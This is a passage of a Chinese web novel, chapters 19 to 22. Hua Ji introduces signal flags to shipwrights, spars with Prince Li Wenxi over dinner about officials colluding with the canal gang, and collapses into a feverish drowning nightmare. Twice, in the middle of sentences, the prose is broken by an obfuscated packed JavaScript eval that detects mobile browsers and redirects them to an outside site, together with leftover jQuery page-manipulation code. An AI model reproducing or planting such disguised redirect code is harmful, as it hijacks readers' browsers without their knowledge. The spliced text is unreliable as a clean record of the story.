梅别鹤知道，聪颖如花棘一般的人，一定早已想好了该怎么解决，可他思虑再三，还是无法猜出花棘会用什么样的办法，这才索性追问了出来。 花棘倾身听着，低眉间眼波流转，而后抬头回应道：“前辈慧眼，但其实，要做到这一点并不难。” 说完，她并没有继续给出解释，而是招手叫来了这几日一直跟在她身边的一个侍女。 众人只见，花棘在那侍女耳边低声吩咐了几句，侍女随即快步走出亭外，再回来时，怀里抱了一堆画着各式图案的小旗子。 “这是？”梅别鹤不解地问。 侍女将所有小旗放下，花棘走上前去，在长案上将小旗按颜色与图案一一分类排好，共四十面呈现于众人眼前。 在她摆弄小旗的时候，船匠们已经全部围了上来，凭空出现的玩意儿之新奇，直让李文晞和范如芥等也都跟着靠了过来。 小旗是花棘跟着船只模型一道提前做好的，斗船比试之后，关于船队内各船只的精准配合与指令传达，她早在等着梅别鹤的发问了。 因为只有这件事，无论从技术还是观念上，都远超出了这个时代的认知，是她明目张胆的“作弊”。 案上的四十面小旗，其中二十六面是字母旗，十面是数字旗，三面代旗，一面回答旗，正是一套标准的国际信号旗系统。 “如诸位所见，这些便是专门用来在航行时，传递信息的信号旗。”花棘解释道。 “信号旗？”范如芥饶有兴致地重复着，“老夫虽然没有跟过船，却也知行船和水战时常用作为交流的旗子，乃是两面红白旗。像先生今日展示的这些图案各异的小旗，倒还真是第一次见。” 李文晞在一旁看得清楚，自己老师在说话时，视线一直在小旗与花棘之间来回游走不停，苍灰色的眼睛里光芒毕现，那副雀跃又有些谦卑的模样，在这个脾气刁钻的小老头身上可不常见，足 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梅别鹤激动难抑，语速极快地哑声说道：“先生所创之方法实在惊世骇俗，倘若日后能在整个漕运一行普及开来的话，势必会全面提升船队在行船时的安全概率。” 他不仅完全理解了信号旗的用法，甚至在如此短的反应时间内融会贯通，已经可以提出自己的优化想法了。 他全神贯注地指着其中几个旗子，对花棘建议道：“先生旗语固然详尽清楚，事无巨细，但眼前若只针对与漕帮的较量，为节省时间，可适当做出调整和取舍，这样会更方便船员间的传达。” “比如。”梅别鹤靠近倾身，分别指了指其中的几个字母旗，“与对向行驶的船只，进行请求和交流的旗语就不妨先舍弃掉。” 随后，又伸手将单独的几个字母旗摘了出来，说道：“而这几个旗语所指的意思，也可以有更具体的调整，就拿这一个来说......” 花棘微低着头，仔细听着梅别鹤提出的每一条建议。 让她忍不住惊叹的是，梅别鹤在阐述具体的改进方案时，不但完全记准了每一个旗语的意思，更是将他自己修改后的旗语用意，恰如其分地融入进整个体系里，毫不违和。 国际信号旗经过历代行业顶级能人的改进与强化，其系统本身早已如铁桶一般改无可改，或者也可以说，想要改动它的阻力，会比直接摧毁它还要大。 梅别鹤以落后一千多年的学术观念，又是在这样短的时间里，能够说出这些，天赋可见一斑。 此人若生在科技腾飞的现代，花棘可以想象，他或许会在远洋航行领域，代表国家惊艳全世界也说不定。 梅别鹤说话时，花棘神情慎重，始终认真地听着，偶尔还会点头表明态度。 一直到梅别鹤将所有的改进想法说完，她才开口肯定地回应道：“同意梅老的想法，我也差不多是这样的打算。” 接着又补充说：“与漕帮对抗时实际会发生的情况，大多都能提前预料，因而旗语所传递的指令，自然也可以有针对性地提前设计，只需另外再做好特殊情况的防备就行。” “嗯，是这样的。不过，其中的诸多细节，还要再多些时日反复推敲才行。”梅别鹤说着，视线始终没有离开案上的小旗，他仍在沉思。 厅中这时所有人都围在一起，但梅别鹤一语作罢，四下依旧静得出奇，众人虽不言，但每一张脸上都洋溢着难掩的兴奋。 然而不过一会儿，梅别鹤猛拍了一下长案边，“不对！” 他转而瞪眼看向身侧人，扬声道：“快取笔墨来。” 19.第十九章 花棘手里攥着锚坠和梅别鹤留下的字条，站在高处，目送着十六位船匠背对晚霞渐行渐远的身影。 李文晞购置的私宅位于隐蔽的深巷，但深巷另一头拐出去，再穿过一条街就是热闹的集市。 下午的大雨来得突然，又走得干脆，叫街边两侧摆摊做生意的小贩们猝不及防，但这会儿天色正好，他们手忙脚乱支起的摊位前，很快涌起了人潮。 孩子们也都跑出来了，追逐在被雨水冲刷干净的青石板路上，是人间烟火里最为跃动的色彩。 半空之中，欢快的嬉闹声，和着亲切的叫卖声，吵醒袅袅炊烟扶摇直上，天际边缘的七色彩虹完全散了，橘红色晚霞绚烂非常，放肆地拉扯着云朵洋洋洒洒倾倒一侧，好似醉酒的仙娥。 夕阳为来往人身上镀上了一层梦幻般的暖光，三两成伴的船匠们步履匆匆，不多时便走出了阴影，融入进流动的暖光里消失不见。 满怀希望的人，终于，也成了希望本身。 梅别鹤深知旗语的重要性，而要将旗语的优势彻底应用于实践，更为重要的还是人，船队内每一艘船上人员的配合。 花棘将手中的字条缓缓展开，上面是一个地址，和一个陌生的人名。 梅别鹤实在太明白，她现在最缺的是什么了。 “老桃风后继有人了。” 这是梅别鹤临走前说的最后一句话，老前辈借走了她所有画好的小旗。 当旗语与船只改造的构想确定下来，船匠们在知道自己接下来该去做的事后，便迫不及待地要早些离开，迈出的每一步都洋溢着跃跃欲试的兴奋。 人走后不久，私宅大门又紧紧地关了起来，花棘小心把字条放好，视线从高墙外的人潮中缓缓收了回来。 她转身下了台阶，向着房檐下的暗处走去，需要她一一抉择的事情太多，人间烟火于她而言完全是另外一个世界。 走了没一会儿，身后渐渐有脚步声跟了上来，那脚步声不急不促，只在她后方亦步亦趋地跟着，像是不必言说的问询。 这个宅子里再没第二个人，有闲情逸致做这样的事，她心里清楚，却并不想理会，他们之间不需要任何不必要的交流。 夕阳时分最是短暂，蓦然抬首，天空已然变成了深邃的湛蓝，树影婆娑散碎，石阶安宁明亮，只中间一抹无暇的白衣飘动不停。 前方又是一个月洞门，李文晞跟从在花棘后方，俯身经过时长眉微蹙了一下，眼见再绕过一座假山便是她住的小院，可这人明知他在，偏又装作一副毫不知情的样子。 他无奈只好加重了脚步声，大跨几步来至花棘前方，将人拦了下来。 花棘见状，稍显惊讶地率先开口道：“这么巧啊，殿下。” 她分明还在生他的气。 李文晞看着她，象牙折扇轻敲在手心，苦笑道：“花棘如此，便是还在怪本王了。” “殿下多虑了，民女不敢。”花棘颔首，看向一侧，淡淡地回了一句。 “哦？”李文晞偏头追逐着花棘的视线，不依不饶地问，“花棘当真没在生气？” “是。”花棘斜觑了李文晞一眼，冷声道。 她抗拒的意味明显，某人早看得清楚，如此还要来演这么一遭，更叫她心生厌恶。 李文晞佯装不知，继续得寸进尺，提议道：“府上刚新得了一条两斤多重的鲈鱼，花棘可知，这个季节的鲈鱼尤为鲜美，已经请了漓州城内最好的厨子来做了。” “只是......”说着，他浓眉一压，显得有些为难，“这厨子的手艺传得颇为夸张，本王此前也没试过，恐被哄骗，不知花棘先生可否赏脸，今晚与本王一同尝尝看？” 花棘干脆拒绝道：“殿下言重了。鲈鱼带刺，民女吃不习惯。” 说完，快步绕过面前挡着的人就要离开。 她想不通李文晞几番示好的原因到底是什么，她也不知道自己身上能有什么可值得图谋的。 京都来的皇七子惯会享受，身边服侍的婢女们个个样貌姣好，想来，怎样也不该缺她这么一个爱摆臭脸，十指粗糙的女船匠。 而若说是能力，便是他李文晞一直不闻不问，这种要搭上自己性命的事，她又怎么可能不拼尽全力。 至于其他，她是真一点都想不出了。 见花棘要走，李文晞收了象牙扇，长臂慵懒一伸，直挡在人前方。 鲈鱼刺可是最少的了，还说没在生气。 她竟连一个正经的理由都懒得编，就想来回绝他。 但他李文晞想要做成的事，又岂是那么容易会放弃的？面对花棘，他有足够的耐心。 也有他自己的计较。 他盯着花棘闪躲的侧脸看了一会儿，泄气地放下手臂，低声道：“好吧，本王知道花棘要忙的事情很多，时间宝贵。” 说着，他话音一转，正色道：“可此番盛情相邀，也是因为今晚有要事相商的缘故。” 为让花棘卸下防备，李文晞将视线移走了几寸，余光却依旧时刻注意着身边人的神情。 花棘没有被轻易引着走，秀眉一挑，目光仍落在别处，干脆道：“殿下有什么事，现在也可以讲。” 李文晞听罢，一时哑然，他没想过花棘会问得这样干脆，什么事？他可都还没编好呢。 花棘在水上以船设局，他需要趁机抓住这个机会，拿到漓州官场与漕帮内外勾结，贪赃腐败的铁证，可关键是他缺少一个理由。 一个能够威胁到漓州权利制高点，叫人不得不除掉他的理由。 背后之人指使漕帮弄出的小动作，从他到达漓州的第一晚行刺失败后，就该知道这样的方式根本杀不了他，还会继续来做样子，不过是为了吓唬他，叫他不要做出更多出格的事。 还没有破釜沉舟来杀他，不过是在他这个七皇子身上，感知到的恐惧还不够罢了。 几日下来，为了摸透整个漓州官场的脉络，他明里暗里见了很多人。 可这些人不是难以成事的怂包，就是瞧不上他这个无权无势的晨王，故意敷衍装傻，稍微聪明一些的，迫于上面人的压力，都站队站得很稳，说话做事滴水不漏。 唯一一个被他诈出来的陆穷年，所做的伪证也只能拿捏住这一个人而已，他到底没有出任何事，不可能牵连到更上面的人。 漓州势力盘踞一方如同铁桶一般，要攻破自然不易，这点他一早便知道，在筹备接下钦差之职前就知道。 与花棘两人的合作中，该如何引官场势力上钩也始终是他的事情，花棘已然将负责的部分做得足够出色。 可上好的鲈鱼他前日便吩咐人去找了，只等今日斗船比试了结，找花棘一同享用。 李文晞看着面前花棘冷淡的侧脸，他知道她是在刻意疏远他，他一手背在身后，一手随意地摆弄着象牙折扇，眼睛落定在她脸上，缓慢踱步走至她正在看的方向，强行出现在她眼前。 他笑着目光直撞进她的眼睛里，忽而开口问道：“还未来得及向花棘先生庆贺，斗船比试力压漓州满城船匠夺得魁首，不知本王这场比赛办得，可还和花棘心意？” 花棘不明所以地扫了李文晞一眼，她想不出这人要谈的正事，和刚刚问出口的话有什么关系。 “民女岂敢置喙，殿下说笑了。”言罢，她后退几步，转过身去，随时准备离开。 李文晞再度不依不饶地一步一步跟了上去，依旧带着笑意说：“嗯？瞧花棘的样子，本王猜测定然是满意的。” 接着又自顾自地道：“花棘与本王原是合作关系，既然本王已经帮花棘测试好了需要造的船，那——” 他轻快地拖长着尾音，在与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977251|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花棘并肩的位置站定，继续道：“是不是也该轮到花棘为本王分忧了，譬如，花棘之前对漕帮与各府之间的跟踪，以及，花棘所知的那些背地里勾当，本王都很好奇。” “民女遵命。” 花棘快速应下，而后抬脚便走，略拉开距离，俯身行礼告退时，跟着又补了一句：“民女这就回去，将所知之事尽数书写清楚，呈与殿下过目。” 说完，头也不回地向着自己的小院走去。 “花棘。” 才走了没几步，身后的李文晞便叫停了她，那人方才还温和愉悦的声音，陡然多了几丝明显的急切。 花棘心知自己的拒绝失了分寸，换做是谁遭受这样的冷落都会气愤，更遑论是自小生在帝王家的皇子。 但她更知，她与李文晞之间的距离犹如燕雀与鸿鹄，他们只会一起走上很短的一段路而已，待大仇得报，她若还想活命，便该离这个人越远越好。 李文晞回身，看着那被夜幕一点一点加重颜色的背影，压低了声音道：“纸笔哪能说得清楚事情，花棘先生这不就在本王面前吗，本王今日偏要花棘先生当面说与本王知道。” 他读不懂近在眼前的女子，幼年曲折的经历，早早教会了他识人，哪怕是宫廷里心比泥潭还要黑的恶人，他都自信可以窥其一二。 可对于花棘，他却始终猜不透她的心之所向。 更让他觉得奇怪的是，偏自己的目光每每落在她身上时，总是能轻易静下来，好似经年的苦闷与缥缈前程，都能在注视着她的那一刻轻上几两。 见那抹白衣的脊背仍旧挺得笔直，丝毫没有要屈从的意思，他又催促道：“现下已是晚膳时间，本王可不忍叫花棘先生饿着肚子说话，吃食宝贵，花棘先生还是与本王一同享用吧。” 所以，他就是要她的关注，要她的视线在他这里驻留，哪怕这份驻留是厌恶，是仇视，都无所谓。 几步外，花棘闻言，终于有了动作，李文晞看着人缓缓转过身来，那一对冷艳清亮的眸子，总算可以无遮无拦地向他看来。 他顿时嘴角笑意飞扬，心底涌动的喜悦于身体各处横冲直撞。 不料，花棘展颜一笑，朱唇轻启，对他道： “我所知道的事，要怎么说，对谁说，是我的自由，旁人无法左右。若殿下硬要强迫，只管来用刑就是，不用这么麻烦。” “民女告退。” 花棘行过礼，再不肯看李文晞一眼，兀自快步走开。 就算身份相差悬殊，合作与屈服也是截然不同的两回事，前世的远洋船长没有向强权低过头，今生便更不会。 她是凭自己实力赢来的机会，无需献媚与讨好，一口一句“先生”背后，如果掺杂的全是她看不懂的东西，又算得什么优待。 傍晚浓重的光线转瞬降至深蓝，视野内假山与树影的轮廓愈发晦暗，初秋凉夜将至，连虫鸣鸟语都在趋于沉寂。 李文晞愣怔在原地，巨大的愤怒几乎难以压制。 用刑？ 她怎么就笃定他不会，自宫廷最深处爬出来的弃子，他什么样的手段没见过，什么样的人没杀过。 她怎么敢说出口的，那些残忍的酷刑，他不信她承受得住。 李文晞伸出右手，食指与中指并拢向外，正是他下令前惯有的姿态，然而，冷酷的话语尚未说出，另一种难言的恐惧突然浮了上来。 他看见那如羽毛一般的白色身影，转而消失在拐角处的黑暗里，像是再也不会回来。 望着空无一人的前方，他脑中倏尔出现一瞬的空白，当即抬脚快步追了过去。 一句莫名的话，失控地脱口而出。 “可鲈鱼......我一个人，吃不完。” 一语作罢，正来至拐角前的李文晞，看到不远处，花棘猛地停下了脚步。 20.第二十章 傍晚夕阳沉落，临海而居的山坡上，梨花馥郁夹杂着米饭刚刚熟好的香气，自一处雅致的小院，悠然地向外飘着。 门口，出海归来的渔民们三两结对，一波接着一波路过，欢愉地讨论着今天谁家又新得了怎样的一条大鱼。 中间短暂的安静里，院落内一道年迈却充满活力的女声响了起来。 “人家去捕鱼总想要抓到的鱼越大越好，我就无所谓了，大的小的都行。” “为什么？阿婆不喜欢捕鱼吗？” 老实坐在梨花树下等待开饭的小女孩仰头问，小屋前，穿着艳色花衣的老婆婆手上端着饭菜，正笑着缓步走近过来。 婆婆年纪很大，长发全部花白，数不清的皱纹在脸上爬了一层又一层，但那稳稳走过来的每一步，举手投足间都尽显优雅，白发于脑后盘得一丝不苟，柔顺又端庄。 苍老的眉眼有风韵如许，惊鸿一瞥，便可穿越过光阴的长河，轻易望见其年轻时的芳华。 婆婆将饭菜一一摆好，放置在桌上，抬眼时双眸明亮，神采奕奕，笑眼弯弯地看着面前的女孩说道： “因为，阿婆要大的鱼也没什么用啊，一个人吃不完。” 女孩暂时没空理阿婆的话，滴溜溜的两个大眼睛，注意力全在面前一条半臂长的海鲈鱼上。 筷子都不太会使的小人，总能一下夹到鱼腹上最肥美的那块肉，精准送入口中，然后闭着眼睛享受地吃得脸颊鼓起来。 “但是，现在不一样了。”婆婆夹上一块肉，仔细挑过刺后，才放进了女孩的碗里。 面前小人半张脸都埋在米饭里，吃得那叫一个香哟，她就那样看着，好似连送进自己口中的饭菜，都跟着香了不少。 婆婆在旁边继续念叨着：“有了小花棘在，阿婆也希望自己捕到的鱼越大越好咯，不然，可不够我们的小花棘吃呢。” “唔—”女孩开心地看向阿婆，嘴中满是还未咽下的鱼肉，模糊着回应，“花棘超喜欢......阿婆做的海鲈鱼！” “好好好，慢点吃，慢点吃，小心被鱼刺卡到......” 小院内一老一少暖意的交谈，于辽远的夜空下久久回荡，树下落花单调的白色被越来越多独属于孩童的痕迹打乱，新生的成长在年岁里，填满了老去的孤独。 梨花清雅的香气留恋在鼻息间若即若离，拉扯着花棘的思绪摇摆于前世今生，她定住脚步回看向李文晞，此刻光线晦暗，模糊着不远处那人神色的轮廓。 “可鲈鱼......我一个人，吃不完。” 这话的感觉莫名熟悉，她听懂了那些言不由衷的深意。 可她从来习惯了自己一个人，孤独在她这里，是一种自在。 夜色另一边，一身红衣的李文晞呆站着，疾行后的粗喘尚未平静，人已经在后悔了。 他到底在乱说什么，他这样一说，花棘肯定要误会，自己像是硬要求着她什么似的。 笑话，他堂堂皇七子，何以需要为了这点破事低头。 他理了理衣衫，作势要走，颇无所谓地对花棘道：“本王一向宽以待下，花棘姑娘一味拒绝，岂不轻易便宜了别人去。” 但他这里的话音还未落下，前方的花棘已步子迈出，再次走开了。 想着这几日为了今晚的准备，李文晞无奈快步跟了上去，刚刚说出的那句话虽然失了分寸，好歹叫她摸到了一点花棘的性情。 他到底软了语气，跟在那一抹白衣后，低声说着：“你们漓州城的厨子，本王当真第一次用。” 花棘听后不答，但脚步明显慢了，又走了一会儿之后，蓦然调转了方向。 李文晞在其身后不声不响地跟着，嘴角不住地一直扬起，心情很是愉悦，不时偷看向花棘冷艳的侧脸。 他在笑她。 笑她总是一副冷冰冰的模样待人，其实，心比谁都软。 夜晚来至纯粹的深蓝，弯月悄然爬上房檐树梢，梨花的香气被一桌精致的菜肴暂时掩盖，清蒸鲈鱼是最后上的，盖子掀开，鲜美的肉香顿时溢了出来。 暖黄光晕错落萦绕，雪色的梨花树下，一红一白两道身影分坐小桌两旁，正是他们初见时的那个小院。 桌上硕大的鲈鱼旁环绕着四菜一汤，雪梨银耳拌秋葵、茯苓山药蒸嫩藕、百合荸荠炒西芹、陈皮冬瓜蒸肉丸，和一份沙参玉竹鱼骨汤。 均是将时令小菜做了用心的处理和搭配，在当下的节气里食用，最是祛火养胃易消化，置备菜品人的诚意可见一斑。 李文晞入座吃过第一口鲈鱼后便赞不绝口，几乎未有空闲地将桌上的菜品全部尝了个遍，一边吃，一边津津有味地向花棘不住介绍，各种劝诱。 然而，他对面的花棘，却是在坐下之后，始终没有动筷，只神色淡淡地望着远处的弯月发呆。 约莫李文晞已简单垫过肚子，花棘才将目光收回，趁着他饮茶的空隙，将自己知道的所有，关于漓州官员与漕帮之间的关联，交代了个干净。 漓州刺史之下的判司与其他各县的属官，大大小小几十个官员，漕帮内部会有人轮流带着信物前往疏通，彼此之间只认物不认人，表面看上去，都与正常的往来交友无异。 花棘推测道：“两方人盘踞漓州地界多年，利益互通，早形成了一套稳定的生存体系，在其上又有共同的滔天势力压制，不服从于这套体系的人，连上场的资格都没有，矛盾很难在两方人之间激发。” 到底该如何引漕帮和官场的人入局，她只想将她所知道的，和她的观点看法说完，然后赶紧放她离开。 不过一起做做样子吃顿晚饭而已，还能怎么样呢，她今晚要做的事情还有很多，实在不想被李文晞耽误更多时间了，而且，她今日也实在有些累，头一直昏昏沉沉地不清醒。 李文晞听罢，搁置好手边餐具，坐正身体，也将自己这段时间探得的情况分享了出来。 “花棘说的没错，漓州所有的财政以及税务核算，自有一套完美无缺的账目用以应对朝廷，或是上面来人的追查。而真正记录着漓州所有钱财去向的账本，即便是长史陆穷年都无法轻易接触。” 在花棘的话里，他听得到一份难得的坦诚，因而，也愿意进一步给出自己的坦诚。 他于是继续说道：“漓州水脉繁荣，几年下来养活了不少人，漓州刺史也不过是个用以挡箭的 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她眼看着李文晞将一块鲈鱼鱼腹处雪白肥美的肉夹起，轻沾了汤汁，又安放在小碟内，仔细挑除了两遍鱼刺后，这才送来至她的右手边。 那人柔声说着：“这厨子竟当真手艺不错，鱼肉鲜嫩适宜，花棘快趁热帮本王一起尝尝。” 可她的视线始终落在李文晞深不见底的眼睛上，一对漆黑的双眸，像是密林深处的清潭，澄澈又危险，嵌在温润如玉的脸上，一念成佛，一念修罗。 她在想，这人究竟是怎样的疯子。 他带着什么样的筹谋来到这里，又有着怎样惊人的野心？ 但是...... 透过面前人镇定自若的神容，花棘分明看见了一个在暗色下踌躇的红色身影，带着些许的惶惶与茫然。 他正在走的路，似乎，并没有想象中的顺利。 花棘转而看向李文晞夹来的鱼肉，随口问：“不知殿下放出的饵，可还好用？” 李文晞正在夹菜的筷子一顿，看向花棘的目光中，一时惊异难掩。 她是怎么知道的？ 李文晞随即浅笑一声，自嘲着开口：“现在来看是不太好用了，我的大鱼都不肯上钩呢。” “我倒觉得未必。”花棘反驳道。 李文晞追问：“花棘所想，本王愿闻其详。” “殿下盯上的是大鱼，我看到的，却是江河染污，遍地魑魅魍魉。”花棘直言。 “那依花棘的意思，魑魅魍魉要除，大鱼或可暂时搁置吗？”李文晞问。 “不。”花棘当即否认。 说完，她拿起手边的银筷，将桌上清蒸鲈鱼的胸鳍，一把夹断。 紧接着是腹鳍、臀鳍、背鳍、尾鳍...... 最后，花棘将银筷插入进鲈鱼的鱼鳃中，缓慢地左右移动，眼看着鱼头与整个鱼身一点点失去连接，逐渐分离。 冷声道：“对待大鱼，我更喜欢一步一步先折断其所有的臂膀，等到它没有任何反抗能力的时候，再耐心地，慢慢地，亲手了结它。” 21.第二十一章 恶行没有大小之分，更不论高低贵贱，只要作恶，就该得到应有的惩罚，不然，好人拼尽全力守护的良善，又该怎么算。 花棘手中的筷子没放，却也并未进食，她左手撑着下巴，偏头注视着一侧粗糙的树干。 她习惯了长夜独行，面对高不可攀的梦想，能做的唯有先专注好眼下而已。 然而水滴石穿，拼尽全力走过的每一步，都会在时间里默默积淀下来，于未来不经意的某一刻，迸发出惊人的力量。 因此，她相信积少成多，相信蚕食的力量。 她将目光放得更加长远，笃定着自己的想要一定可以实现，心怀这样信念的她，便不会被眼前的困难打倒，无论多长多远的路，她都能有勇气起航。 坐在她对面，刚及弱冠的皇子，正值年少轻狂，满腔的野心如何也压制不住，澎湃而张扬，所以，他要去挑战的权威和该更高远，更强大，会忽视掉团体底层的力量也很正常。 终究，还是他们之间的距离，太遥远了。 李文晞顺着花棘侧脸的视线看去，梨花树干上，一队从地面爬上去的蚂蚁，正在搬运某只爬虫的半截尸体。 他说不清楚为何会提前准备好这样的一次晚膳，他确实暗自将花棘算计进了自己的筹谋里，他并不会觉得抱歉。 这世界本就是我算计你，你算计我，谁能够活下来，谁才是最后的赢家，哪怕是花棘此刻对他的妥协，背后也一样有利益的牵扯。 在花棘看不到的一边，他轻扯了一下嘴角，可还是觉得，自己平白欠了她些什么。 原本，他并没有对这一次的共同用膳，有过太多期待，但方才被花棘窥探进内心的瞬间，他忽而涌起了一份巨大的怅然。 他从前总是害怕被她知道真实的自己，却不知，能遇到一个可以看懂自己的人，竟然是这样的感觉。 心情好起来了，连带着嘴中饭菜的味道也愈发可口，触目所及的一切都变得赏心悦目。 今晚，花棘的视线始终不肯落在他身上，倒叫他的窥视更加坦然。 她实在太过消瘦了，一条挺立的脊背，薄得简直像是在画轴上一般。 脸色比那飘落的梨花还要苍白，直衬得眉眼更加清晰凌厉，薄唇如锋。 李文晞将桌前的餐食扫视了一圈，他这会儿舌尖上还留着嫩藕清甜的后味，索性挑了盘中一块大小适中的藕片，送去了花棘的碗碟内。 他用带着些挑衅的语气开口，看着人说道：“再不好好吃饭，就算有大鱼上钩的那一天，花棘也要有力气把它拉上来不是。” 慢蒸过的莲藕绵软不腻，应该会比鱼肉更好入口，他觉着花棘似乎不太喜欢吃鱼肉。 除去刚才那般动作外，自入席开始，花棘根本就没有正眼看过他好不容易弄来的，这条两斤多重的大鲈鱼，从前倒是没有发现这一点。 花棘拿着筷子的手总算动了起来，但她绕开了桌子最中间的清蒸鲈鱼，绕开了鱼汤，也绕开了李文晞夹来的藕片，只挑离自己最近的两道菜，快速吃完了一碗米饭。 见她用膳过后就要急着离开，李文晞开口刚要再追问些什么，花棘先一步将自己所想都说了出来。 “虽然，漕帮与漓州官员之间的关系密不透风，可若是将两者分开来看，或许其每一边的内部，都是漏洞百出。” 李文晞听此，隐隐已经可以猜出花棘的意思，竟与他和老师这几日推演的结果不谋而合。 想不到，花棘和他还能有这样的默契，他遂难掩笑意地等待下文，随口附和：“说下去。” 花棘坐正了身体，两手合握着放在桌前，眼睛故意看向别处，继续道：“漓州大小官员之间的情况我不了解，但漕帮内部，各区域帮派不睦几乎是人尽皆知的事，这还仅仅是传出来的部分，真实情况只会更糟。” “漕帮整个组织作为官员们的鹰犬可以长久屹立不倒，但由于漕运跟船人员配合之间的特殊性，小股帮派之间的迭代和竞争相当激烈。” 花棘说着，抬手接住一片刚好落下的绿叶，在手心碾碎抖散在了桌边，随后轻轻一吹，绿叶碎块便飞得飞，留得留。 眼看着那些粘留在桌上的碎片，她道：“没有绝对的团结，人都是自私的，或是重利以诱，或是生死相逼，绝地之下血脉至亲都可以被出卖，裂缝一旦出现，距离彻底崩盘，都只是时间问题。” 花棘轻手将桌边剩余的碎叶全部掸去，又接着说：“漓州官场内部的情况，殿下定然比我更了解，但只要是组织，利益有覆盖和交叉，本质上就都没有区别，可以怎么侵入，如法炮制便是。” 李文晞再一次为花棘的见识所折服，这个女子一定不知道她的理智、冷静、洞若观火，到底有多特别。 他微眯着眼，倾身向前，刻意卖着关子，沉声道：“现在本王总算相信了......” 李文晞拖长着尾音，中间停顿好一会儿，才不紧不慢地接上了下一句，轻佻地反问：“花棘就是上天派来助本王的，只是不知，花棘的一身本领，若没有遇上本王，又当作何？” 花棘看着面前此时李文晞的样子，叫她恍然想起他们初见时的那一晚，这人也是这副神情，说着什么“只要你肯要，只要我有......”的鬼话。 想要来试探她，大可明明白白问起便是，如此惺惺作态虚情假意，倒叫她恶心。 八月底的月亮弯得像一把锋利的冷刀，古时的夜色一向比前世更为净透，可这样的净透，此刻，只会让花棘觉得愈发凛冽刺骨。 她的头痛得好似随时都要裂开，连最轻柔的凉风落在她身上，也凭空多了千钧的分量，触目所及的一切都在向她不停压来，喉咙干燥地燃着火。 花棘径直忽略了李文晞的质问，倏地起身，哑声道：“漕帮的人不会放我活着，只要我一露面，他们会自己找上来的。” 言外之意，官场上的事，她插不上手。 而后俯身行礼，留下一句“民女告退”，转身退了出去。 谁知，才刚一走下台阶，她突然眼前一黑，瞬间头重脚轻，整个人不受控制地向后倒去。 彻底失去意识的最后一刻，她只记得，一个滚烫的软板撞上了自己后背，一侧手臂叫人捏得好疼...... ...... 海浪巨大的轰鸣震荡在耳畔，仿佛世界末日来临之前，天地颤抖的嘶吼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002295|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 身上已经全部湿透了，明明四面八方到处都是水，可她还是觉得喉咙干到连一句话也说不出。眼角被海水生生浸得刺痛，红肿得睁都睁不开，思绪昏沉。 肚子里呛入的水已经顶到了嗓子眼，整个腹部都在肿胀不已，她强忍着将眼睛睁开了一条小小的缝......却也和闭上时没有分别，周围尽是一片黑暗。 她试着伸出手去摸索，但下半身完全漂浮在冰冷的海水里，她只要一有动作，四下的世界便都在跟着晃动。 她像是被装在一个容器里。 猛然间，她忽地想起了什么，巨大的恐惧铺天盖地而来，她狠命地大叫出声。 “爸！” “妈！” “快走！” “一起走！我们一起走！” 她用尽了全身的力气，却根本不知道，自己到底有没有吼出来，四周依旧只听得到海浪翻卷的声音。 “别丢下我一个人！爸！妈！” “别丢下我！” 直到，撕裂的喉咙里，流淌出了腥涩的味道。 她开始慌了，脑海中涌起的恐惧，甚至盖过了海浪的喧嚣，她不顾一切地挣扎着，剧烈而狰狞。 “放我出去！” “放我出去！” 可无论如何拍打，如何乱踢乱踹，依旧什么都碰不到，同样，也逃不出。 只有摇晃，不停地摇晃，天地反复颠倒，没有任何可以抓住的地方，她不知道自己在哪，也不知道自己会飘去哪里。 “爸！妈！救我！” “快来救救我！” 全然未知的黑暗被恐惧快速压缩，空间陡然变得狭窄，她什么也看不到，什么也摸不到，可这里就是在不断地变小，一直小，一直小。 越来越多的东西压在她的身上，胸腔被挤压着，每一次的呼吸都愈发困难。 ......她再也喊不出来了，黑暗里只剩下窒息，漫长到没有尽头的寒冷，与窒息。 “啊啊啊啊啊——！” 花棘大叫着骤然从床铺上惊起，眼前依旧是无边的黑暗，她一时分不清，哪里是梦境，哪里又是现实。 她全身均被冷汗浸湿，脱离了被褥的身体，叫不知从何处来的晚风一吹，寒冷一如深海的长夜。 “啊啊啊啊！” 她失控地继续大叫着，双手发疯地拉扯着自己的长发，全身颤抖着折叠，头深深地嵌入进膝盖里。 “花棘！” 恍惚着，似乎有人在喊她的名字，可她能看到的只有黑暗，黑暗。 “花棘！”那声音越来越近。 咚！ 一道沉闷的巨响，有什么东西被大力撞开，急促的脚步声转瞬来至耳边。 谁？ 是谁要来了？ 花棘害怕地不住闪躲，她想要逃走，可全身的骨头仿佛都错了位，一阵阵地酥软、刺痛。 该怎么办？她到底该怎么办？ 惊悸的喊叫，渐渐变作歇斯底里的嚎哭，每一寸肌肤都在抖动着哀鸣。 “花棘！” 密闭的床幔被人掀开一角，柔软的月光终于泻了进来。 22.第二十二章 李文晞从没见过这样的花棘，那个清冷决绝，才智无双的女子，何时有过如此脆弱的模样。 “没事了，花棘，没事了。” 他将人轻轻拥在怀里，在她耳边以自己最温柔的语气，一遍一遍说着。 花棘在斗船比赛中淋了雨，再加上长期营养不良，又过度劳累，到底病倒了。 高烧不醒，一直昏睡，今日，已是第三天。 他照例每日无论有多少事情，都会早中晚各过来一次，方才，幸好他刚刚离开，还没有走远，否则...... 这几日花棘总睡不安稳，便是这样的梦中惊醒，光是他已经撞到第四次了。 